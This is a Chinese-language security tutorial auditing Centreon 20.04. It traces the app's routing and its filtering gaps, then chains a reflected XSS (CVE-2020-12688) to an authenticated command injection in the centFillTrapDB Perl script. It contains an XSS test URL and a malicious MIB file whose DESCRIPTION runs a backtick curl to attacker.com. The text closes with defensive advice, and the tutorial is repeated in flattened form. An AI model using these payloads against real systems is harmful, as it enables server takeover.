代码审计从0到1:Centreon One-click To RCE
字数 2060 2025-08-15 21:31:52

Centreon 代码审计与漏洞分析教学文档

1. 概述

Centreon (Merethis Centreon) 是法国 Centreon 公司开发的一套开源系统监控工具,主要用于监控网络、系统和应用程序等资源。本教学文档将详细分析 Centron V20.04 版本的安全审计过程,重点讲解从代码审计到远程代码执行(RCE)的完整漏洞链。

2. 目录结构分析

Centreon 的主要目录结构如下:

centreon/www/                # 网站根目录
├── include/                 # 核心目录
│   ├── core/                # 核心功能
│   └── home/                # 用户界面相关
├── api/                     # API接口
│   ├── class/               # API类文件
│   └── index.php            # API路由
├── index.php                # 主入口文件
├── main.php                 # PC端路由
└── main.get.php             # 移动端路由

3. 核心路由机制

3.1 主入口路由

  • index.php: 主入口文件,负责登录认证,检查 $_SESSION["centreon"] 变量
  • 登录方式:账号密码或 token,逻辑位于 /centreon/www/include/core/login/processLogin.php

3.2 主要路由文件

  1. main.get.php:

    • 对输入数据进行全局过滤:
      • $_GET 数组使用 filter_var() 过滤
      • $_POST 数组进行特殊字符编码
    • 登录认证后,通过 p 参数映射到对应功能页面
    • 映射关系存储在数据库中
  2. api/index.php:

    • 另一个路由入口
    • 通过 action 参数调用对应类方法
    • 同样需要登录认证

4. 安全机制分析

4.1 输入过滤

  • 全局过滤:main.get.php 开头对输入数据进行过滤
  • PDO 参数化查询:大部分 SQL 查询使用 PDO
  • 特殊过滤函数:如 escape() 用于转义特殊字符

4.2 访问控制

  • 大部分功能页面不能直接访问,需通过路由
  • 部分页面(如 rename.php)仅检查 session,可直接访问

5. 漏洞分析

5.1 XSS 漏洞 (CVE-2020-12688)

漏洞位置: centreon/include/home/customViews/rename.php

漏洞原因:

  • 直接通过路径访问,绕过 main.get.php 的全局过滤
  • 46 行仅检查 session 存在性
  • 59 行直接输出 $_REQUEST 内容,未进行编码处理

利用方式:

  1. 构造恶意链接:
    /centreon/include/home/customViews/rename.php?elementId=title_1&newName=<script>alert(1)</script>
    
  2. 诱使已登录管理员访问

5.2 授权 RCE 漏洞

漏洞链:

  1. 通过 XSS 窃取管理员凭证
  2. 登录后上传恶意 MIB 文件

漏洞位置: formMibs.php

漏洞原因:

  • 调用 shell_exec() 执行 Perl 脚本处理 MIB 文件
  • Perl 脚本 centFillTrapDB 存在命令注入

详细分析:

  1. 文件上传处理:

    • 路由: 设置 page=61703 通过 main.get.php 访问
    • manufacturerId 通过 mnftr 字段上传,但被 filter_var() 限制为整数
  2. 命令执行流程:

    /usr/share/centreon/bin/centFillTrapDB -f 'xxx.mib' -m 3 --severity=info 2>&1
    
  3. Perl 脚本漏洞:

    • 位于 /usr/share/perl5/vendor_perl/centreon/script/centFillTrapDB
    • 541 行执行反引号命令,trap_lookup 参数可控

利用方式:

  1. 构造恶意 MIB 文件:

    TRAP-TEST-MIB DEFINITIONS ::= BEGIN
    IMPORTS
        ucdExperimental FROM UCD-SNMP-MIB;
    test OBJECT IDENTIFIER ::= { ucdExperimental 999 }
    test-trap TRAP-TYPE
        ENTERPRISE test
        VARIABLES { sysLocation }
        DESCRIPTION "`curl http://attacker.com/`"
        ::= 999
    END
    
  2. 上传文件后触发命令执行

6. 代码审计方法论

6.1 审计思路

  1. 历史漏洞分析:

    • 复现已知漏洞,了解框架结构
    • 从漏洞中获取思路,举一反三
  2. 黑盒审计:

    • 使用抓包工具测试可疑功能点
    • 快速熟悉网站路由和功能
  3. 白盒审计:

    • 重点审查入口脚本、路由机制
    • 分析数据验证和过滤逻辑
    • 从两个角度入手:
      • 黑盒测试发现的可疑点
      • 敏感关键字全局搜索

6.2 关键审计点

  1. 路由机制:

    • 直接访问与路由访问的区别
    • 认证绕过可能性
  2. 输入处理:

    • 全局过滤机制
    • 特殊字符处理
    • 参数化查询使用情况
  3. 命令执行:

    • shell_exec(), system(), exec() 等函数调用
    • 反序列化点
    • 文件上传处理
  4. 权限控制:

    • Session 验证机制
    • 功能权限划分

7. 漏洞组合利用

本案例展示了典型的漏洞组合利用链:

  1. 首先发现 XSS 漏洞,绕过认证限制
  2. 利用 XSS 窃取管理员凭证
  3. 登录后利用文件上传功能触发 RCE

类似组合攻击思路还包括:

  • 任意文件删除 + 认证绕过
  • 信息泄露 + 未授权访问
  • 反序列化 + 权限提升

8. 防御建议

  1. 输入验证:

    • 所有输入都应经过严格验证
    • 实施统一的过滤机制
  2. 输出编码:

    • 对所有动态输出进行 HTML 编码
    • 设置 HttpOnly 和 CSP 头
  3. 命令执行:

    • 避免使用 shell 命令
    • 如必须使用,应严格过滤所有参数
  4. 权限控制:

    • 实施最小权限原则
    • 重要操作需二次认证
  5. 安全开发:

    • 定期安全审计
    • 建立安全编码规范

9. 参考资源

  1. Centreon 官方网站
  2. CVE-2020-12688 漏洞详情
  3. Perl 安全编程指南

通过本教学文档,读者可以全面了解 Centreon 系统的安全审计过程,掌握从代码审计到漏洞利用的完整方法论,并应用于其他系统的安全评估工作中。

Centreon 代码审计与漏洞分析教学文档 1. 概述 Centreon (Merethis Centreon) 是法国 Centreon 公司开发的一套开源系统监控工具,主要用于监控网络、系统和应用程序等资源。本教学文档将详细分析 Centron V20.04 版本的安全审计过程,重点讲解从代码审计到远程代码执行(RCE)的完整漏洞链。 2. 目录结构分析 Centreon 的主要目录结构如下: 3. 核心路由机制 3.1 主入口路由 index.php : 主入口文件,负责登录认证,检查 $_SESSION["centreon"] 变量 登录方式:账号密码或 token,逻辑位于 /centreon/www/include/core/login/processLogin.php 3.2 主要路由文件 main.get.php : 对输入数据进行全局过滤: $_GET 数组使用 filter_var() 过滤 $_POST 数组进行特殊字符编码 登录认证后,通过 p 参数映射到对应功能页面 映射关系存储在数据库中 api/index.php : 另一个路由入口 通过 action 参数调用对应类方法 同样需要登录认证 4. 安全机制分析 4.1 输入过滤 全局过滤: main.get.php 开头对输入数据进行过滤 PDO 参数化查询:大部分 SQL 查询使用 PDO 特殊过滤函数:如 escape() 用于转义特殊字符 4.2 访问控制 大部分功能页面不能直接访问,需通过路由 部分页面(如 rename.php )仅检查 session,可直接访问 5. 漏洞分析 5.1 XSS 漏洞 (CVE-2020-12688) 漏洞位置 : centreon/include/home/customViews/rename.php 漏洞原因 : 直接通过路径访问,绕过 main.get.php 的全局过滤 46 行仅检查 session 存在性 59 行直接输出 $_REQUEST 内容,未进行编码处理 利用方式 : 构造恶意链接: 诱使已登录管理员访问 5.2 授权 RCE 漏洞 漏洞链 : 通过 XSS 窃取管理员凭证 登录后上传恶意 MIB 文件 漏洞位置 : formMibs.php 漏洞原因 : 调用 shell_exec() 执行 Perl 脚本处理 MIB 文件 Perl 脚本 centFillTrapDB 存在命令注入 详细分析 : 文件上传处理 : 路由: 设置 page=61703 通过 main.get.php 访问 manufacturerId 通过 mnftr 字段上传,但被 filter_var() 限制为整数 命令执行流程 : Perl 脚本漏洞 : 位于 /usr/share/perl5/vendor_perl/centreon/script/centFillTrapDB 541 行执行反引号命令, trap_lookup 参数可控 利用方式 : 构造恶意 MIB 文件: 上传文件后触发命令执行 6. 代码审计方法论 6.1 审计思路 历史漏洞分析 : 复现已知漏洞,了解框架结构 从漏洞中获取思路,举一反三 黑盒审计 : 使用抓包工具测试可疑功能点 快速熟悉网站路由和功能 白盒审计 : 重点审查入口脚本、路由机制 分析数据验证和过滤逻辑 从两个角度入手: 黑盒测试发现的可疑点 敏感关键字全局搜索 6.2 关键审计点 路由机制 : 直接访问与路由访问的区别 认证绕过可能性 输入处理 : 全局过滤机制 特殊字符处理 参数化查询使用情况 命令执行 : shell_exec() , system() , exec() 等函数调用 反序列化点 文件上传处理 权限控制 : Session 验证机制 功能权限划分 7. 漏洞组合利用 本案例展示了典型的漏洞组合利用链: 首先发现 XSS 漏洞,绕过认证限制 利用 XSS 窃取管理员凭证 登录后利用文件上传功能触发 RCE 类似组合攻击思路还包括: 任意文件删除 + 认证绕过 信息泄露 + 未授权访问 反序列化 + 权限提升 8. 防御建议 输入验证 : 所有输入都应经过严格验证 实施统一的过滤机制 输出编码 : 对所有动态输出进行 HTML 编码 设置 HttpOnly 和 CSP 头 命令执行 : 避免使用 shell 命令 如必须使用,应严格过滤所有参数 权限控制 : 实施最小权限原则 重要操作需二次认证 安全开发 : 定期安全审计 建立安全编码规范 9. 参考资源 Centreon 官方网站 CVE-2020-12688 漏洞详情 Perl 安全编程指南 通过本教学文档,读者可以全面了解 Centreon 系统的安全审计过程,掌握从代码审计到漏洞利用的完整方法论,并应用于其他系统的安全评估工作中。